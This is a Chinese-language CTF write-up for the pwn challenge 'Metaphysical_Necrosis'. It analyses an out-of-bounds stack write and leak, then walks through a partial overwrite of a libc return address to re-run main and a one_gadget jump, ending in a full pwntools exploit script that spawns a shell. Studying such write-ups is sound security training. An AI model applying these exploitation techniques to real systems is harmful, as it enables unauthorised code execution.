Metaphysical_Necrosis

查保护机制，能打开的都打开了。。

```
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

先执行一下程序：

```
% ./Metaphysical_Necrosis
这一天，你在路上偶遇了睿智的逆向出题人:The eternal God Y!
只见他拿着一把AWP不知道在那瞄谁。
他发现了你，喜出望外:兄弟，包给你快去下包，我帮你架点!
你要把C4安放在哪里呢？
5
AAAA
the bomb has been planted!

a few moments later~
快过年了，正好有一条养了一年多的金枪鱼最近看起来闷闷不乐。
不如把它宰了，吃一顿大餐，你说吼不吼啊！

但是这一年多对它也有了些许感情，因此为了纪念它，你决定给它起个名字:Chutiren
----------------------------------------------------------------------
接下来开始切菜，你打算把它切成几段呢？
2
----------------------------------------------------------------------
为了满足每个人不同的口味，每一段都打算用不同的烹饪方法。顺带一提，我喜欢糖醋金枪鱼
第0段打算怎么料理呢：0000
第1段打算怎么料理呢：1111
接下来你打算把剩下的鱼骨头做成标本。
------------------------------------------------------------
|                                                          |
Chutiren
|                                                          |
------------------------------------------------------------
就在此时，你发现了一根茄子，这根茄子居然已经把锅里的金枪鱼吃了大半。

仔细观察一下，你发现这居然是一只E99p1ant，并且有大量邪恶的能量从中散发。

你吓得立马扔掉了它，E99p1ant在空中飞行了114514秒，请问它经过的路程是__m:
5
E99p1ant落地后，发现旁边居然有一个C4……Bomb！Terrorist Win
AAAA
E99p1ant不甘地大喊:啊~~！~？~…____

E99p1ant变成了茄酱。
[1]    13687 segmentation fault (core dumped)  ./Metaphysical_Necrosis
```

分析一下代码，`main()`中调用`game()`：

```
__int64 game()
{
  __int64 ji_duan; // [rsp+0h] [rbp-C0h]
  __int64 v2; // [rsp+8h] [rbp-B8h]
  int v3; // [rsp+8h] [rbp-B8h]
  char v4[160]; // [rsp+10h] [rbp-B0h]
  char v5[8]; // [rsp+B0h] [rbp-10h]
  unsigned __int64 v6; // [rsp+B8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  LODWORD(v2) = 0;
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts(&s);
  puts(&byte_1008);
  puts(&byte_1040);
  puts(&byte_1098);
  HIDWORD(v2) = readi();
  read(0, &v5[8 * HIDWORD(v2)], 8uLL);
  puts("the bomb has been planted!");
  getchar();
  puts("a few moments later~");
  puts(&byte_10F0);
  puts(&byte_1148);
  getchar();
  printf(&format);
  read_n(name, 48LL);
  puts("------------------------------------------------------------------");
  puts(&byte_1238);
  HIDWORD(ji_duan) = readi();
  if ( SHIDWORD(ji_duan) > 20 )
  {
    puts(&byte_1278);
    exit(0);
  }
  puts("------------------------------------------------------------------");
  puts(&byte_12A0);
  LODWORD(ji_duan) = 0;
  while ( BYTE4(ji_duan) > ji_duan )
  {
    printf(&byte_1320, ji_duan, ji_duan, v2);
    memset(&v4[8 * ji_duan], 0, 8uLL);
    read_n(&v4[8 * ji_duan], 8LL);
    LODWORD(ji_duan) = ji_duan + 1;
  }
  puts(&byte_1348);
  sleep(1u);
  puts("------------------------------------------------------------");
  puts("|                                                          |");
  puts(name);
  puts("|                                                          |");
  puts("------------------------------------------------------------");
  puts(&byte_1400);
  getchar();
  puts(&byte_1468);
  getchar();
  puts(&byte_14D8);
```

```
  LODWORD(v2) = readi();
  puts(aE99p1ant);
  write(1, &v5[8 * HIDWORD(v2)], 6uLL);
  puts(aE99p1ant_0);
  if ( flag1 == 1 )
  {
    read_n(&e99 + 8 * v3, 8LL);
    puts(aE99p1ant_1);
    flag1 = 0;
  }
  else
  {
    puts(&byte_15D8);
  }
  return 0LL;
}
```

主要的漏洞如下：

```
  // 你要把C4安放在哪里呢？
  HIDWORD(v2) = readi();
  read(0, &v5[8 * HIDWORD(v2)], 8uLL);
  // 改写栈地址

  // 你吓得立马扔掉了它，E99p1ant在空中飞行了114514秒，请问它经过的路程是__m:
  LODWORD(v2) = readi();
  puts(aE99p1ant);
  write(1, &v5[8 * HIDWORD(v2)], 6uLL);
  // 泄漏栈地址，地址同被改写栈地址
```

首先，确定一下能够被改写的栈地址：

- `readi()`读`0`，让`HIDWORD(v2)=0`
- `read(0, &v5[8 * HIDWORD(v2)], 8uLL);`时，栈分布如下：

```
0x7fffffffdad0 —▸ 0x555555554f30 (__libc_csu_init)
0x7fffffffdad8 ◂— 0x78b2cb0fd0178500
0x7fffffffdae0 —▸ 0x7fffffffdaf0 —▸ 0x555555554f30 (__libc_csu_init)
0x7fffffffdae8 —▸ 0x555555554f28 (main+14)
0x7fffffffdaf0 —▸ 0x555555554f30 (__libc_csu_init)
0x7fffffffdaf8 —▸ 0x7ffff7debb6b (__libc_start_main+235)
```

其中`0x7fffffffdad0`是`v5`的地址，其后依次是：

- `canary`
- `saved rbp1`
- `game`的返回地址
- `saved rbp2`
- `main`的返回地址

被改写的栈地址，在之后的 `write(1, &v5[8 * HIDWORD(v2)], 6uLL);`，被泄漏出来

这里可以选择`readi()`读`3`泄漏程序的基址，也可以选择`readi()`读`5`泄漏`libc`的基址

泄漏程序基址似乎没啥用

虽然开了随机化保护，但是`libc`函数的后三位是不变的

于是可以覆盖`main`的返回地址`__libc_start_main+235`的末两位

题目给了`libc`，看一下`__libc_start_main`，其中`0x00020830`是`__libc_start_main+235`

```
0x00020808      488d442420      lea rax, [rsp + 0x20]
0x0002080d      644889042500.   mov qword fs:[0x300], rax
0x00020816      488b059b363a.   mov rax, qword [reloc.__environ_184]
0x0002081d      488b742408      mov rsi, qword [rsp + 8]
0x00020822      8b7c2414        mov edi, dword [rsp + 0x14]
0x00020826      488b10          mov rdx, qword [rax]
0x00020829      488b442418      mov rax, qword [rsp + 0x18]
0x0002082e      ffd0            call rax
0x00020830      89c7            mov edi, eax
```

这题的关键是，想要完成攻击，修改栈地址的漏洞至少要利用**两次**：泄漏`libc`一次，`getshell`一次

`__libc_start_main`中`0x0002082e`这里的`call rax`就是`call main`

所以，覆盖`__libc_start_main+235`的末两位为`08`

这样既可以泄漏`__libc_start_main`，又能让程序再执行一遍`main`

泄漏出来`libc`后计算`one_gadget`的地址：

```
% one_gadget ./libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
```

```
offset_addr = 0x20808
offset_one_gadget = 0x45216
one_gadget = addr - offset_addr + offset_one_gadget
```

```
[*] ret: 0x7f2f53727808
[*] one_gadget: 0x7f2f5374c216
```

在第二次执行`main`时，覆盖返回地址为`one_gadget`即可`getshell`

对了，题目中这里，有提示大家要再次执行`main()`：

```
  if ( flag1 == 1 )
  {
    read_n(&e99 + 8 * v3, 8LL);
    puts(aE99p1ant_1);
    flag1 = 0;
  }
  else
  {
    puts(&byte_15D8);  // 嗯？！世界线……被改变了，我的Reading Steiner触发了！
  }
```

exp

```
#!/usr/bin/python
#coding=utf-8
#__author__:TaQini

from pwn import *

local_file  = './Metaphysical_Necrosis'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = 'libc-2.23.so'
is_local = False
is_remote = False

if len(sys.argv) == 1:
    is_local = True
    p = process(local_file)
    libc = ELF(local_libc)
elif len(sys.argv) > 1:
    is_remote=True
    if len(sys.argv) == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    else:
        host, port = sys.argv[1].split(':')
    p = remote(host, port)
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
    gdb.attach(p,cmd)

# info
# gadget
# elf, libc

print ru('你要把C4安放在哪里呢？\n')
# debug()
sl('5')
if is_local:  se('\x43')
if is_remote: se('\x08')
sleep(1)
```

```
ru('the bomb has been planted!\n')
sl('')
print ru('不如把它宰了，吃一顿大餐，你说吼不吼啊！\n')
sl('')
ru('起个名字:')
sl('Imagin')
ru('切成几段呢？\n')
sl('20')
for i in range(20):
    ru('怎么料理呢：')
    sl(p64(i+0xdeadbeef))
ru('金枪鱼吃了大半。\n')
sl('')
ru('仔细观察一下，你发现这居然是一只E99p1ant，并且有大量邪恶的能量从中散发。\n')
sl('')
ru('的路程是__m:')
meter = 5 # 好像没啥用
sl(str(meter))

ru('Terrorist Win\n')
addr = u64(rc(6).ljust(8,'\0'))
log.hexdump(addr)
info_addr("ret",addr)

if is_remote:
    offset_addr = 0x20808
    offset_one_gadget = 0x45216
if is_local:
    offset_addr = 0x26B43
    offset_one_gadget =  0x106ef8
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
'''

one_gadget = addr - offset_addr + offset_one_gadget
info_addr('one_gadget', one_gadget)

ru('~~！~？~…____\n')

#debug('b *'+hex(addr))
sl('')

# round2

print ru('你要把C4安放在哪里呢？\n')
sl('5')
se(p64(one_gadget)) # one_gadget
sleep(1)
ru('the bomb has been planted!\n')
sl('')
print ru('不如把它宰了，吃一顿大餐，你说吼不吼啊！\n')
sl('')
ru('起个名字:')
sl('Imagin')
ru('切成几段呢？\n')
sl('20')
```

```
for i in range(20):
    ru('怎么料理呢：')
    sl(p64(i+0xdeadbeef))
ru('金枪鱼吃了大半。\n')
sl('')
ru('仔细观察一下，你发现这居然是一只E99p1ant，并且有大量邪恶的能量从中散发。\n')
sl('')
ru('的路程是__m:')
meter = 5 # 好像没啥用
sl(str(meter))

ru('Terrorist Win\n')
addr = u64(rc(6).ljust(8,'\0'))
log.hexdump(addr)
info_addr("ret",addr)

ru('~~！~？~…____\n')

sl('')

p.interactive()
```